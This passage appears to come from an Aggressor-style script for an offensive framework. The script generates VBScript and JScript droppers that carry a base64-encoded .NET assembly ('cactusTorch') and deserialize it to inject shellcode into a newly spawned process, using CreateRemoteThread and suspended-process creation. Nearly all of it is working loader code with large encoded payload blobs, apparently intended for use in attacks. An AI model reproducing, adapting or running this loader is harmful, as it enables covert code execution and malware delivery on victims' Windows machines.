$data = $data . "s = s & \"AABABAAAAIAEADAAAAQAAEAAAgYIAgYCAgYJAwYRFAMGERgCBgYDBhEgAwYRJBMAChgODhIMEgwC\"\r\n";
$data = $data . "s = s & \"ERQYDhIcEBEQCgAFGBgYGBEgESQJAAUYGBgYESQYCQAFAhgYHQUYCAUAAgIYCQoABxgYGAkYGAkY\"\r\n";
$data = $data . "s = s & \"BSACAQ4OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAABAB\"\r\n";
$data = $data . "s = s & \"AAtDQUNUVVNUT1JDSAAABQEAAAAABQEAAQAAKQEAJDU2NTk4ZjFjLTZkODgtNDk5NC1hMzkyLWFm\"\r\n";
$data = $data . "s = s & \"MzM3YWJlNTc3NwAADAEABzEuMC4wLjAAAAAAAMQ1AAAAAAAAAAAAAN41AAAAIAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAADQNQAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAg\"\r\n";
$data = $data . "s = s & \"ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA\"\r\n";
$data = $data . "s = s & \"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A\"\r\n";
$data = $data . "s = s & \"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA\"\r\n";
$data = $data . "s = s & \"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA\"\r\n";
$data = $data . "s = s & \"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs\"\r\n";
$data = $data . "s = s & \"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA\"\r\n";
$data = $data . "s = s & \"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA\"\r\n";
$data = $data . "s = s & \"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu\"\r\n";
$data = $data . "s = s & \"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA\"\r\n";
$data = $data . "s = s & \"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV\"\r\n";
$data = $data . "s = s & \"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP\"\r\n";
$data = $data . "s = s & \"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA\"\r\n";
$data = $data . "s = s & \"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw\"\r\n";
$data = $data . "s = s & \"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA\"\r\n";
$data = $data . "s = s & \"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAADAAAAwAAADwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n";
$data = $data . "s = s & \"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv\"\r\n";
$data = $data . "s = s & \"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA\"\r\n";
$data = $data . "entry_class = \"cactusTorch\"\r\n";
$data = $data . "Dim fmt, al, d, o\r\n";
$data = $data . "Set fmt = CreateObject(\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\")\r\n";
$data = $data . "Set al = CreateObject(\"System.Collections.ArrayList\")\r\n";
$data = $data . "al.Add fmt.SurrogateSelector\r\n";
$data = $data . "Set d = fmt.Deserialize_2(Base64ToStream(s))\r\n";
$data = $data . "Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)\r\n";
$data = $data . "o.flame binary,code\r\n";
$data = $data . "End Sub\r\n";
$data = $data . "SetVersion\r\n";
$data = $data . "On Error Resume Next\r\n";
$data = $data . "Run\r\n";
$data = $data . "If Err.Number <> 0 Then\r\n";
$data = $data . " Debug Err.Description\r\n";
$data = $data . " Err.Clear\r\n";
$data = $data . "End If";
# data is all inserted at this point.
}
else if (%options["type"] eq "JScript") {
# They want JScript
$data = $data . "var binary = \"" . %options["binary"] . "\";\r\n";
$data = $data . "var code = \"";
$data = $data . $b64payload . "\";\r\n";
# variables set at this point
$data = $data . "function setversion() {\r\n";
$data = $data . "var shell = new ActiveXObject('WScript.Shell');\r\n";
$data = $data . "ver = 'v4.0.30319';\r\n";
$data = $data . "try {\r\n";
$data = $data . "shell.RegRead('HKLM\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\v4.0.30319\\\\');\r\n";
$data = $data . "} catch(e) { \r\n";
$data = $data . "ver = 'v2.0.50727';\r\n";
$data = $data . "}\r\n";
$data = $data . "shell.Environment('Process')('COMPLUS_Version') = ver;\r\n";
$data = $data . "}\r\n";
$data = $data . "function debug(s) {}\r\n";
$data = $data . "function base64ToStream(b) {\r\n";
$data = $data . " var enc = new ActiveXObject(\"System.Text.ASCIIEncoding\");\r\n";
$data = $data . " var length = enc.GetByteCount_2(b);\r\n";
$data = $data . " var ba = enc.GetBytes_4(b);\r\n";
$data = $data . " var transform = new ActiveXObject(\"System.Security.Cryptography.FromBase64Transform\");\r\n";
$data = $data . " ba = transform.TransformFinalBlock(ba, 0, length);\r\n";
$data = $data . " var ms = new ActiveXObject(\"System.IO.MemoryStream\");\r\n";
$data = $data . " ms.Write(ba, 0, (length / 4) * 3);\r\n";
$data = $data . " ms.Position = 0;\r\n";
$data = $data . " return ms;\r\n";
$data = $data . "}\r\n";
$data = $data . "var serialized_obj = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\"+\r\n";
$data = $data . "\"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\"+\r\n";
$data = $data . "\"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\"+\r\n";
$data = $data . "\"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\"+\r\n";
$data = $data . "\"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\"+\r\n";
$data = $data . "\"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\"+\r\n";
$data = $data . "\"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\"+\r\n";
$data = $data . "\"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\"+\r\n";
$data = $data . "\"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\"+\r\n";
$data = $data . "\"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\"+\r\n";
$data = $data . "\"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\"+\r\n";
$data = $data . "\"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\"+\r\n";
$data = $data . "\"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\"+\r\n";
$data = $data . "\"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\"+\r\n";
$data = $data . "\"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\"+\r\n";
$data = $data . "\"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\"+\r\n";
$data = $data . "\"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\"+\r\n";
$data = $data . "\"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\"+\r\n";
$data = $data . "\"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\"+\r\n";
$data = $data . "\"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\"+\r\n";
$data = $data . "\"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\"+\r\n";
$data = $data . "\"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\"+\r\n";
$data = $data . "\"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAWIaiWgAAAAAA\"+\r\n";
$data = $data . "\"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAADuNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\"+\r\n";
$data = $data . "\"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnDUA\"+\r\n";
$data = $data . "\"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAALnRleHQAAAD0FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA\"+\r\n";
$data = $data . "\"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAANA1AAAAAAAASAAAAAIABQAMIgAAkBMAAAEAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT\"+\r\n";
$data = $data . "\"MAoAHAEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMKAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA\"+\r\n";
$data = $data . "\"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME\"+\r\n";
$data = $data . "\"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAo5gAAAABEFFnMR\"+\r\n";
$data = $data . "\"AAAKByAAMAAAGigCAAAGEwYSBigWAAAKclcAAHAoGAAACiwKEQUWKAUAAAYmKhYTBxIIBo5pKBEA\"+\r\n";
$data = $data . "\"AAoRBREGBhEIEQcoBAAABiYRBREGBx8gFnMRAAAKKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMR\"+\r\n";
$data = $data . "\"AAAKKAYAAAYmKnoCfhUAAAp9AgAABAIoDwAACgICKBkAAAp9AQAABCoAEzACAGAAAAAAAAAAAn4V\"+\r\n";
$data = $data . "\"AAAKfSsAAAQCfhUAAAp9LAAABAJ+FQAACn0tAAAEAn4VAAAKfTgAAAQCfhUAAAp9OQAABAJ+FQAA\"+\r\n";
$data = $data . "\"Cn06AAAEAn4VAAAKfTsAAAQCKA8AAAoCAigZAAAKfSoAAAQqQlNKQgEAAQAAAAAADAAAAHYyLjAu\"+\r\n";
$data = $data . "\"NTA3MjcAAAAABQBsAAAAXAcAACN+AADIBwAAdAkAACNTdHJpbmdzAAAAADwRAABcAAAAI1VTAJgR\"+\r\n";
$data = $data . "\"AAAQAAAAI0dVSUQAAACoEQAA6AEAACNCbG9iAAAAAAAAAAIAAAFXHQIUCQIAAAD6ATMAFgAAAQAA\"+\r\n";
$data = $data . "\"ABcAAAAJAAAAUAAAAAoAAAAkAAAAGQAAADMAAAASAAAAAQAAAAEAAAAGAAAAAQAAAAEAAAAHAAAA\"+\r\n";
$data = $data . "\"AACZBgEAAAAAAAYAXAWSBwYAyQWSBwYAigRgBw8AsgcAAAYAsgThBgYAMAXhBgYAEQXhBgYAsAXh\"+\r\n";
$data = $data . "\"BgYAfAXhBgYAlQXhBgYAyQThBgYAngRzBwYAfARzBwYA9AThBgYAqwipBgYAYQSpBgYATQWpBgYA\"+\r\n";
$data = $data . "\"sAapBgYA5AipBgYAWQepBgYA2AipBgYAZgapBgYAhAZzBwAAAAAlAAAAAAABAAEAAQAQAG0GAAA9\"+\r\n";
$data = $data . "\"AAEAAQAKABAA+AcAAD0AAQAJAAoBEADOBgAAQQAEAAoAAgEAABsIAABJAAgACgACAQAANggAAEkA\"+\r\n";
$data = $data . "\"JwAKAAoAEAAGBwAAPQAqAAoAAgEAAG0EAABJADwACwACAQAA8wYAAEkARQALAAYAfQb6AAYARAc/\"+\r\n";
$data = $data . "\"AAYAJAT9AAYAdAg/AAYA5wM/AAYAyAP6AAYAvQP6AAYGngMAAVaAsgIDAVaAwAIDAVaAZAADAVaA\"+\r\n";
$data = $data . "\"iAIDAVaAwgADAVaAUwIDAVaA8QEDAVaAHQIDAVaABQIDAVaAoAEDAVaAAgMDAVaAXgEDAVaASAED\"+\r\n";
$data = $data . "\"AVaA4QEDAVaATQIDAVaAMQIDAVaAagMDAVaAggMDAVaAmQIDAVaAHQMDAVaAdgEDAVaAdQADAVaA\"+\r\n";
$data = $data . "\"PQADAVaAJwEDAVaAqAADAVaAOgMDAVaAuQEDAVaAGAEDAVaAxgEDAVaA5QIDAQYGngMAAVaAkQAH\"+\r\n";
$data = $data . "\"AVaAcgIHAQYApgP6AAYA7wM/AAYAFwc/AAYAMwQ/AAYASwP6AAYAmgP6AAYA5wX6AAYA7wX6AAYA\"+\r\n";
$data = $data . "\"Rwj6AAYAVQj6AAYA5AT6AAYALgj6AAYAAQkLAQYADQALAQYAGQA/AAYA7Ag/AAYA9gg/AAYANAc/\"+\r\n";
$data = $data . "\"AAYGngMAAVaA3gIOAVaA7wAOAVaAnQEOAVaA2AIOAVaA1QEOAVaADwEOAVaAlAEOAVaAAwEOAQYG\"+\r\n";
$data = $data . "\"ngMAAVaA5wASAVaAVwASAVaA1QASAVaAWAMSAVaAaQISAVaATwMSAVaA3QASAVaAYAMSAVaAEQYS\"+\r\n";
$data = $data . "\"AVaAJAYSAVaAOQYSAQAAAACAAJYgLgAWAQEAAAAAAIAAliANCSoBCwAAAAAAgACWIBwJNQEQAAAA\"+\r\n";
$data = $data . "\"AACAAJYgNAk/ARUAAAAAAIAAliBjCEkBGgAAAAAAgACRINQDTwEcAFAgAAAAAIYYPgcGACMAWCAA\"+\r\n";
$data = $data . "\"AAAAhgBNBFoBIwCAIQAAAACGGD4HBgAlAKAhAAAAAIYYPgcGACUAAAABADsEAAACAFMEAAADAOQH\"+\r\n";
$data = $data . "\"AAAEANEHAAAFAMEHAAAGAAsIAAAHANYIAAAIAEcJAQAJAAQHAgAKAMwGAAABABsEAAACAIsIAAAD\"+\r\n";
$data = $data . "\"AAMGAAAEAGsEAAAFAL8IAAABABsEAAACAIsIAAADAAMGAAAEAMkIAAAFALIIAAABAHQIAAACAH0I\"+\r\n";
$data = $data . "\"AAADACEHAAAEAAMGAAAFALUGAAABAHQIAAACAPoDAAABAHQIAAACANEHAAADAPcFAAAEAJUIAAAF\"+\r\n";
$data = $data . "\"ACgHAAAGAAsIAAAHALIDAAABAC0JAAACAAEACQA+BwEAEQA+BwYAGQA+BwoAKQA+BxAAMQA+BxAA\"+\r\n";
$data = $data . "\"OQA+BxAAQQA+BxAASQA+BxAAUQA+BxAAWQA+BxAAYQA+BxUAaQA+BxAAcQA+BxAAiQA+BwYAeQA+\"+\r\n";
$data = $data . "\"BwYAmQBTBikAoQA+BwEAqQAEBC8AsQB5BjQAsQCkCDgAoQASBz8AoQBkBkIAsQBmCUYAsQBaCUYA\"+\r\n";
$data = $data . "\"uQAKBkwACQAkAFoACQAoAF8ACQAsAGQACQAwAGkACQA0AG4ACQA4AHMACQA8AHgACQBAAH0ACQBE\"+\r\n";
$data = $data . "\"AIIACQBIAIcACQBMAIwACQBQAJEACQBUAJYACQBYAJsACQBcAKAACQBgAKUACQBkAKoACQBoAK8A\"+\r\n";
$data = $data . "\"CQBsALQACQBwALkACQB0AL4ACQB4AMMACQB8AMgACQCAAM0ACQCEANIACQCIANcACQCMANwACQCQ\"+\r\n";
$data = $data . "\"AOEACQCUAOYACQCYAOsACQCgAFoACQCkAF8ACQD0AJYACQD4AJsACQD8APAACQAAAbkACQAEAeEA\"+\r\n";
$data = $data . "\"CQAIAfUACQAMAb4ACQAQAcMACQAYAW4ACQAcAXMACQAgAXgACQAkAX0ACQAoAVoACQAsAV8ACQAw\"+\r\n";
$data = $data . "\"AWQACQA0AWkACQA4AYIACQA8AYcACQBAAYwALgALAGABLgATAGkBLgAbAIgBLgAjAJEBLgArAJEB\"+\r\n";
$data = $data . "\"LgAzAKIBLgA7AKIBLgBDAJEBLgBLAJEBLgBTAKIBLgBbAKgBLgBjAK4BLgBrANgBQwBbAKgBowBz\"+\r\n";
$data = $data . "\"AFoAwwBzAFoAAwFzAFoAIwFzAFoAGgCMBgABAwAuAAEAAAEFAA0JAQAAAQcAHAkBAAABCQA0CQEA\"+\r\n";
$data = $data . "\"AAELAGMIAQAAAQ0A1AMBAASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAA\"+\r\n";
$data = $data . "\"AAMAAgAEAAIABQACAAYAAgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQy\"+\r\n";
$data = $data . "\"AGxwUmVzZXJ2ZWQyADxNb2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJP\"+\r\n";
$data = $data . "\"TV9KT0IARVhFQ1VURV9SRUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9V\"+\r\n";
$data = $data . "\"TkRfRU5EAERVUExJQ0FURV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBD\"+\r\n";
$data = $data . "\"UkVBVEVfTkVXX0NPTlNPTEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RV\"+\r\n";
$data = $data . "\"U1RPUkNIAFdSSVRFX1dBVENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJW\"+\r\n";
$data = $data . "\"RV9DT0RFX0FVVEhaX0xFVkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVf\"+\r\n";
$data = $data . "\"V09XX1ZETQBQUk9DRVNTX01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVf\"+\r\n";
$data = $data . "\"TkVXX1BST0NFU1NfR1JPVVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VT\"+\r\n";
$data = $data . "\"AENSRUFURV9GT1JDRURPUwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NM\"+\r\n";
$data = $data . "\"QVNTAEhJR0hfUFJJT1JJVFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9X\"+\r\n";
$data = $data . "\"X05PUk1BTF9QUklPUklUWV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVU\"+\r\n";
$data = $data . "\"QUNIRURfUFJPQ0VTUwBDUkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJV\"+\r\n";
$data = $data . "\"R19PTkxZX1RISVNfUFJPQ0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVG\"+\r\n";
$data = $data . "\"QVVMVABDUkVBVEVfVU5JQ09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVT\"+\r\n";
$data = $data . "\"RU5UAENSRUFURV9OT19XSU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVS\"+\r\n";
$data = $data . "\"SVRfUEFSRU5UX0FGRklOSVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNi\"+\r\n";
$data = $data . "\"AG1zY29ybGliAGxwVGhyZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVU\"+\r\n";
$data = $data . "\"aHJlYWQAaFRocmVhZABscFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxl\"+\r\n";
$data = $data . "\"AGxwSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUA\"+\r\n";
$data = $data . "\"bHBDb21tYW5kTGluZQBWYWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERl\"+\r\n";
$data = $data . "\"YnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmli\"+\r\n";
$data = $data . "\"dXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZp\"+\r\n";
$data = $data . "\"bGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJs\"+\r\n";
$data = $data . "\"eURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlv\"+\r\n";
$data = $data . "\"bnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0\"+\r\n";
$data = $data . "\"cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJp\"+\r\n";
$data = $data . "\"YnV0ZQBkd1hTaXplAGR3WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2Rp\"+\r\n";
$data = $data . "\"ZmllcmZsYWcATk9DQUNIRV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBG\"+\r\n";
$data = $data . "\"cm9tQmFzZTY0U3RyaW5nAFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABr\"+\r\n";
$data = $data . "\"ZXJuZWwzMi5kbGwAQ0FDVFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dy\"+\r\n";
$data = $data . "\"aXR0ZW4AbHBQcm9jZXNzSW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVj\"+\r\n";
$data = $data . "\"dGlvbgBscFN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3Rk\"+\r\n";
$data = $data . "\"RXJyb3IALmN0b3IAbHBTZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGlj\"+\r\n";
$data = $data . "\"cwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJT\"+\r\n";
$data = $data . "\"ZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVz\"+\r\n";
$data = $data . "\"AGxwUHJvY2Vzc0F0dHJpYnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBD\"+\r\n";
$data = $data . "\"cmVhdGVQcm9jZXNzRmxhZ3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMA\"+\r\n";
$data = $data . "\"ZHdZQ291bnRDaGFycwBUZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBB\"+\r\n";
$data = $data . "\"ZGRyZXNzAGxwU3RhcnRBZGRyZXNzAENvbmNhdABPYmplY3QAZmxPbGRQcm90ZWN0AGZsUHJvdGVj\"+\r\n";
$data = $data . "\"dABmbE5ld1Byb3RlY3QAbHBFbnZpcm9ubWVudABDb252ZXJ0AGhTdGRJbnB1dABoU3RkT3V0cHV0\"+\r\n";
